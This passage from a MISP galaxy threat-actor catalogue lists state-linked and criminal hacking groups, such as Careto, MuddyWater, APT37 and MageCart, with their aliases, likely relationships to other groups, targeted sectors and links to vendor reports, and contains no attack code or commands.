The tag is: *misp-galaxy:threat-actor="Kimsuki"*

Kimsuki is also known as:

- Kimsuky

Table 3808. Table References

Links
http://securelist.com/analysis/57915/the-kimsuky-operation-a-north-korean-apt/
https://www.cfr.org/interactive/cyber-operations/kimsuky

Snake Wine

The tag is: *misp-galaxy:threat-actor="Snake Wine"*

Table 3809. Table References

Links
https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html

Careto

This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Careto"*

Careto is also known as:

- The Mask
- Mask
- Ugly Face

Table 3810. Table References

Links
https://securelist.com/blog/research/58254/the-caretomask-apt-frequently-asked-questions/
https://www.cfr.org/interactive/cyber-operations/careto

Gibberish Panda

The tag is: *misp-galaxy:threat-actor="Gibberish Panda"*

Table 3811. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

OnionDog

This threat actor targets the South Korean government, transportation, and energy sectors.

The tag is: *misp-galaxy:threat-actor="OnionDog"*

Table 3812. Table References

Links
http://news.softpedia.com/news/korean-energy-and-transportation-targets-attacked-by-oniondog-apt-501534.shtml
https://www.cfr.org/interactive/cyber-operations/onion-dog

Clever Kitten

The tag is: *misp-galaxy:threat-actor="Clever Kitten"*

Clever Kitten is also known as:

- Group 41

Clever Kitten has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

Table 3813. Table References

Links
http://www.crowdstrike.com/blog/whois-clever-kitten/

Andromeda Spider

The tag is: *misp-galaxy:threat-actor="Andromeda Spider"*

Table 3814. Table References

Links
https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

Cyber Caliphate Army

The tag is: *misp-galaxy:threat-actor="Cyber Caliphate Army"*

Cyber Caliphate Army is also known as:

- Islamic State Hacking Division
- CCA
- United Cyber Caliphate

- UUC
- CyberCaliphate

Table 3815. Table References

Links
https://en.wikipedia.org/wiki/Islamic_State_Hacking_Division
https://ent.siteintelgroup.com/index.php?option=com_customproperties&view=search&task=tag&bind_to_category=content:37&tagId=697

Magnetic Spider

The tag is: *misp-galaxy:threat-actor="Magnetic Spider"*

Table 3816. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

Group 27

The tag is: *misp-galaxy:threat-actor="Group 27"*

Table 3817. Table References

Links
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Pointed-Dagger.pdf

Singing Spider

The tag is: *misp-galaxy:threat-actor="Singing Spider"*

Table 3818. Table References

Links
https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

Cyber fighters of Izz Ad-Din Al Qassam

The tag is: *misp-galaxy:threat-actor="Cyber fighters of Izz Ad-Din Al Qassam"*

Cyber fighters of Izz Ad-Din Al Qassam is also known as:

- Fraternal Jackal

Table 3819. Table References

Links
http://pastebin.com/u/QassamCyberFighters
http://ddanchev.blogspot.com.es/2012/09/dissecting-operation-ababil-osint.html

APT 6

The tag is: *misp-galaxy:threat-actor="APT 6"*

APT 6 is also known as:

- 1.php Group
- APT6

AridViper

The tag is: *misp-galaxy:threat-actor="AridViper"*

AridViper is also known as:

- Desert Falcon
- Arid Viper
- APT-C-23

Table 3820. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-arid-viper.pdf
http://securityaffairs.co/wordpress/33785/cyber-crime/arid-viper-israel-sex-video.html
https://securelist.com/blog/research/68817/the-desert-falcons-targeted-attacks/
https://ti.360.com/upload/report/file/APTSWXLVJ8fnjoxck.pdf
https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/
https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/
https://www.proofpoint.com/us/threat-insight/post/Operation-Arid-Viper-Slithers-Back-Into-View
https://www.ci-project.org/blog/2017/3/4/arid-viper
http://blog.talosintelligence.com/2017/06/palestine-delphi.html
https://www.threatconnect.com/blog/kasperagent-malware-campaign/

Dextorous Spider

The tag is: *misp-galaxy:threat-actor="Dextorous Spider"*

Table 3821. Table References

Links
https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

Unit 8200

The tag is: *misp-galaxy:threat-actor="Unit 8200"*

Unit 8200 is also known as:

- Duqu Group

Table 3822. Table References

Links
https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/
https://archive.org/details/Stuxnet
https://www.cfr.org/interactive/cyber-operations/duqu
https://www.cfr.org/interactive/cyber-operations/duqu-20

White Bear

The tag is: *misp-galaxy:threat-actor="White Bear"*

White Bear is also known as:

- Skipper Turla

Table 3823. Table References

Links
https://securelist.com/introducing-whitebear/81638/
https://www.cfr.org/interactive/cyber-operations/whitebears

Pale Panda

The tag is: *misp-galaxy:threat-actor="Pale Panda"*

Table 3824. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

Mana Team

The tag is: *misp-galaxy:threat-actor="Mana Team"*

Table 3825. Table References

Links
https://www.isightpartners.com/2016/02/threatscape-media-highlights-update-week-of-february-17th/

Sowbug

Sowbug has been conducting highly targeted cyber attacks against organizations in South America and Southeast Asia and appears to be heavily focused on foreign policy institutions and diplomatic targets. Sowbug has been seen mounting classic espionage attacks by stealing documents from the organizations it infiltrates.

The tag is: *misp-galaxy:threat-actor="Sowbug"*

Sowbug has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Sowbug - G0054" with estimative-language:likelihood-probability="likely"

Table 3826. Table References

Links
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments
https://www.cfr.org/interactive/cyber-operations/sowbug

MuddyWater

The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.

The tag is: *misp-galaxy:threat-actor="MuddyWater"*

MuddyWater is also known as:

- TEMP.Zagros

MuddyWater has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="MuddyWater - G0069" with estimative-language:likelihood-probability="likely"

Table 3827. Table References

Links

https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.cfr.org/interactive/cyber-operations/muddywater

MoneyTaker

In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.

The tag is: *misp-galaxy:threat-actor="MoneyTaker"*

Table 3828. Table References

Links
https://www.bleepingcomputer.com/news/security/moneytaker-hacker-group-steals-millions-from-us-and-russian-banks/
https://www.group-ib.com/resources/reports/money-taker.html
https://www.group-ib.com/blog/moneytaker

Microcin

We’re already used to the fact that complex cyberattacks use 0-day vulnerabilities, bypassing digital signature checks, virtual file systems, non-standard encryption algorithms and other tricks. Sometimes, however, all of this may be done in much simpler ways, as was the case in the malicious campaign that we detected a while ago – we named it ‘Microcin’ after microini, one of the malicious components used in it.

The tag is: *misp-galaxy:threat-actor="Microcin"*

Table 3829. Table References

Links
https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/
https://cdn.securelist.com/files/2017/09/Microcin_Technical_4PDF_eng_final_s.pdf

Dark Caracal

Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.

The tag is: *misp-galaxy:threat-actor="Dark Caracal"*

Table 3830. Table References

Links
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

Nexus Zeta

Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.

The tag is: *misp-galaxy:threat-actor="Nexus Zeta"*

Table 3831. Table References

Links
https://blog.newskysecurity.com/masuta-satori-creators-second-botnet-weaponizes-a-new-router-exploit-2ddc51cc52a7

APT37

APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities

The tag is: *misp-galaxy:threat-actor="APT37"*

APT37 is also known as:

- APT 37
- Group 123
- Group123
- Starcruft
- Reaper
- Reaper Group
- Red Eyes
- Ricochet Chollima
- StarCruft
- Operation Daybreak
- Operation Erebus.

APT37 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="ScarCruft" with estimative-language:likelihood-probability="likely"

Table 3832. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/02/apt37-overlooked-north-korean-actor.html
https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://twitter.com/mstoned7/status/966126706107953152
https://www.cfr.org/interactive/cyber-operations/apt-37
https://www.bleepingcomputer.com/news/security/report-ties-north-korean-attacks-to-new-malware-linked-by-word-macros/

Leviathan

Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.

The tag is: *misp-galaxy:threat-actor="Leviathan"*

Leviathan is also known as:

- TEMP.Periscope

Leviathan has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Leviathan - G0065" with estimative-language:likelihood-probability="likely"

Table 3833. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.cfr.org/interactive/cyber-operations/leviathan

APT34

Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.

The tag is: *misp-galaxy:threat-actor="APT34"*

APT34 is also known as:

- APT 34

APT34 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT34 - G0057" with estimative-language:likelihood-probability="likely"

Table 3834. Table References

Links
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
https://www.wired.com/story/apt-34-iranian-hackers-critical-infrastructure-companies/ [https://www.wired.com/story/apt-34-iranian-hackers-critical-infrastructure-companies/]
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html
https://www.cfr.org/interactive/cyber-operations/apt-34

APT35

FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.

The tag is: *misp-galaxy:threat-actor="APT35"*

APT35 is also known as:

- APT 35
- Newscaster Team

Table 3835. Table References

Links
https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf

Orangeworm

Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.

The tag is: *misp-galaxy:threat-actor="Orangeworm"*

Table 3836. Table References

Links
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

ALLANITE

Adversaries abusing ICS (based on Dragos Inc adversary list).

The tag is: *misp-galaxy:threat-actor="ALLANITE"*

ALLANITE is also known as:

- Palmetto Fusion

Table 3837. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/blog/20180510Allanite.html

CHRYSENE

Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets organizations involved in oil, gas, and electricity production, primarily in the Gulf region, for espionage purposes. According to one cybersecurity company, the threat actor “compromises a target machine and passes it off to another threat actor for further exploitation.”

The tag is: *misp-galaxy:threat-actor="CHRYSENE"*

CHRYSENE is also known as:

- OilRig
- Greenbug

CHRYSENE has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Greenbug" with estimative-language:likelihood-probability="likely"

Table 3838. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/chrysene

COVELLITE

Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor compromises the networks of companies involved in electric power, specifically looking for intellectual property and information about the companies' operations.

The tag is: *misp-galaxy:threat-actor="COVELLITE"*

COVELLITE is also known as:

- Lazarus
- Hidden Cobra

COVELLITE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Lazarus Group - G0032" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"

Table 3839. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/covellite

DYMALLOY

Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets industrial control systems in Turkey, Europe, and North America. Believed to be linked to Crouching Yeti

The tag is: *misp-galaxy:threat-actor="DYMALLOY"*

DYMALLOY is also known as:

- Dragonfly2
- Berserker Bear

Table 3840. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/dymalloy

MAGNALLIUM

Adversaries abusing ICS (based on Dragos Inc adversary list).

The tag is: *misp-galaxy:threat-actor="MAGNALLIUM"*

MAGNALLIUM is also known as:

- APT33

MAGNALLIUM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT33 - G0064" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-

probability="likely"

Table 3841. Table References

Links
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/apt-33

XENOTIME

Adversaries abusing ICS (based on Dragos Inc adversary list).

The tag is: *misp-galaxy:threat-actor="XENOTIME"*

XENOTIME is also known as:

Table 3842. Table References

Links
https://dragos.com/adversaries.html

ZooPark

ZooPark is a cyberespionage operation that has been focusing on Middle Eastern targets since at least June 2015. The threat actors behind ZooPark infect Android devices using several generations of malware we label from v1-v4, with v4 being the most recent version deployed in 2017.

The tag is: *misp-galaxy:threat-actor="ZooPark"*

Table 3843. Table References

Links
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03095519/ZooPark_for_public_final.pdf

LuckyMouse

Experts assigned the codename of LuckyMouse to the group behind this hack, but they later realized the attackers were an older Chinese threat actor known under various names in the reports of other cyber-security firms, such as Emissary Panda, APT27, Threat Group 3390, Bronze Union, ZipToken, and Iron Tiger

The tag is: *misp-galaxy:threat-actor="LuckyMouse"*

LuckyMouse is also known as:

- Emissary Panda
- APT27

- Threat Group 3390
- Bronze Union
- ZipToken
- Iron Tiger

LuckyMouse has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Threat Group-3390 - G0027" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Emissary Panda" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Threat Group-3390" with estimative-language:likelihood-probability="likely"

Table 3844. Table References

Links
https://www.bleepingcomputer.com/news/security/chinese-cyber-espionage-group-hacked-government-data-center/
https://www.secureworks.com/research/bronze-union
http://newsroom.trendmicro.com/blog/operation-iron-tiger-attackers-shift-east-asia-united-states
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/
https://securelist.com/luckymouse-ndisproxy-driver/87914/

RANCOR

The Rancor group’s attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.

The tag is: *misp-galaxy:threat-actor="RANCOR"*

RANCOR is also known as:

- Rancor group

Table 3845. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

https://www.cfr.org/interactive/cyber-operations/rancor

The Big Bang

While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed ‘Big Bang’ due to the attacker’s fondness for the ‘Big Bang Theory’ TV show, after which some of the malware’s modules are named.

The tag is: *misp-galaxy:threat-actor="The Big Bang"*

Table 3846. Table References

Links
https://research.checkpoint.com/apt-attack-middle-east-big-bang/
https://blog.talosintelligence.com/2017/06/palestine-delphi.html

Subaat

In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.

The tag is: *misp-galaxy:threat-actor="Subaat"*

Table 3847. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/

The Gorgon Group

Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.

The tag is: *misp-galaxy:threat-actor="The Gorgon Group"*

Table 3848. Table References

Links

https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

DarkHydrus

In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).

The tag is: *misp-galaxy:threat-actor="DarkHydrus"*

Table 3849. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/

RedAlpha

Recorded Future's Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.

The tag is: *misp-galaxy:threat-actor="RedAlpha"*

Table 3850. Table References

Links
https://www.recordedfuture.com/redalpha-cyber-campaigns/
https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf

APT-C-35

In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT's attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization's new attack activity, confirmed and exposed the gang's targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization

The tag is: *misp-galaxy:threat-actor="APT-C-35"*

APT-C-35 is also known as:

- DoNot Team

Table 3851. Table References

Links
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/

TempTick

This threat actor targets organizations in the finance, defense, aerospace, technology, health-care, and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un

The tag is: *misp-galaxy:threat-actor="TempTick"*

Table 3852. Table References

Links
https://www.cfr.org/interactive/cyber-operations/temptick

Operation Parliament

This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage.

The tag is: *misp-galaxy:threat-actor="Operation Parliament"*

Table 3853. Table References

Links
https://www.cfr.org/interactive/cyber-operations/operation-parliament
https://securelist.com/operation-parliament-who-is-doing-what/85237/

Inception Framework

This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.

The tag is: *misp-galaxy:threat-actor="Inception Framework"*

Table 3854. Table References

Links
https://www.cfr.org/interactive/cyber-operations/inception-framework

Winnti Umbrella

This threat actor targets software companies and political organizations in the United States, China, Japan, and South Korea. It primarily acts to support cyber operations conducted by other threat actors affiliated with Chinese intelligence services. Believed to be associated with the Axiom, APT 17, and Mirage threat actors. Believed to share the same tools and infrastructure as the threat actors that carried out Operation Aurora, the 2015 targeting of video game companies, the 2015 targeting of the Thai government, and the 2017 targeting of Chinese-language news websites

The tag is: *misp-galaxy:threat-actor="Winnti Umbrella"*

Table 3855. Table References

Links
https://www.cfr.org/interactive/cyber-operations/winnti-umbrella

HenBox

This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.

The tag is: *misp-galaxy:threat-actor="HenBox"*

Table 3856. Table References

Links
https://www.cfr.org/interactive/cyber-operations/henbox

Mustang Panda

This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Mustang Panda"*

Table 3857. Table References

Links
https://www.cfr.org/interactive/cyber-operations/mustang-panda

Thrip

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Thrip"*

Table 3858. Table References

Links
https://www.cfr.org/interactive/cyber-operations/thrip
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

Stealth Mango and Tangelo

This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.

The tag is: *misp-galaxy:threat-actor=" Stealth Mango and Tangelo "*

Table 3859. Table References

Links
https://www.cfr.org/interactive/cyber-operations/stealth-mango-and-tangelo

PowerPool

Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.

A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.

More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user’s permissions, allowing write privileges on files in C:\Windows\Task.

The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.

A couple of days after the exploit code became available (source and binary), malware researchers at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.

The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.

The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.

The tag is: *misp-galaxy:threat-actor="PowerPool"*

Table 3860. Table References

Links
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/

Bahamut

Bahamut is a threat actor primarily operating in Middle East and Central Asia, suspected to be a private contractor to several state sponsored actors. They were observed conduct phishing as well as desktop and mobile malware campaigns.

The tag is: *misp-galaxy:threat-actor="Bahamut"*

Table 3861. Table References

Links
https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

Iron Group

Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

The tag is: *misp-galaxy:threat-actor="Iron Group"*

Iron Group is also known as:

- Iron Cyber Group

Table 3862. Table References

Links
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/

Operation BugDrop

This threat actor targets critical infrastructure entities in the oil and gas sector, primarily in Ukraine. The threat actors deploy the BugDrop malware to remotely access the microphones in their targets' computers to eavesdrop on conversations.

The tag is: *misp-galaxy:threat-actor="Operation BugDrop"*

Table 3863. Table References

Links
https://www.cfr.org/interactive/cyber-operations/operation-bugdrop

Red October

This threat actor targets governments, diplomatic missions, academics, and energy and aerospace organizations for the purpose of espionage. Also known as the Rocra and believed to be the same threat actor as Cloud Atlas

The tag is: *misp-galaxy:threat-actor="Red October"*

Red October is also known as:

- the Rocra

Table 3864. Table References

Links
https://www.cfr.org/interactive/cyber-operations/red-october

Cloud Atlas

This threat actor targets governments and diplomatic organizations for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Cloud Atlas"*

Table 3865. Table References

Links
https://www.cfr.org/interactive/cyber-operations/cloud-atlas

Unnamed Actor

This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission.

The tag is: *misp-galaxy:threat-actor="Unnamed Actor"*

Table 3866. Table References

Links
https://www.cfr.org/interactive/cyber-operations/unnamed-actor

COBALT DICKENS

”A threat group associated with the Iranian government. The threat group created lookalike domains to phish targets and used credentials to steal intellectual property from specific resources, including library systems.”

The tag is: *misp-galaxy:threat-actor="COBALT DICKENS"*

COBALT DICKENS is also known as:

- Cobalt Dickens

Table 3867. Table References

Links
https://www.bleepingcomputer.com/news/security/iranian-hackers-charged-in-march-are-still-actively-phishing-universities/
https://www.cyberscoop.com/cobalt-dickens-iran-mabna-institiute-dell-secureworks/

MageCart

Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.

The tag is: *misp-galaxy:threat-actor="MageCart"*

Table 3868. Table References

Links
https://www.bleepingcomputer.com/news/security/british-airways-fell-victim-to-card-scraping-attack/
https://www.bleepingcomputer.com/news/security/feedify-hacked-with-magecart-information-stealing-script/
https://www.bleepingcomputer.com/news/security/magecart-group-compromises-plugin-used-in-thousands-of-stores-makes-rookie-mistake/
https://www.bleepingcomputer.com/news/security/visiondirect-data-breach-caused-by-magecart-attack/
https://www.bleepingcomputer.com/news/security/magecart-group-sabotages-rival-to-ruin-data-and-reputation/

Domestic Kitten

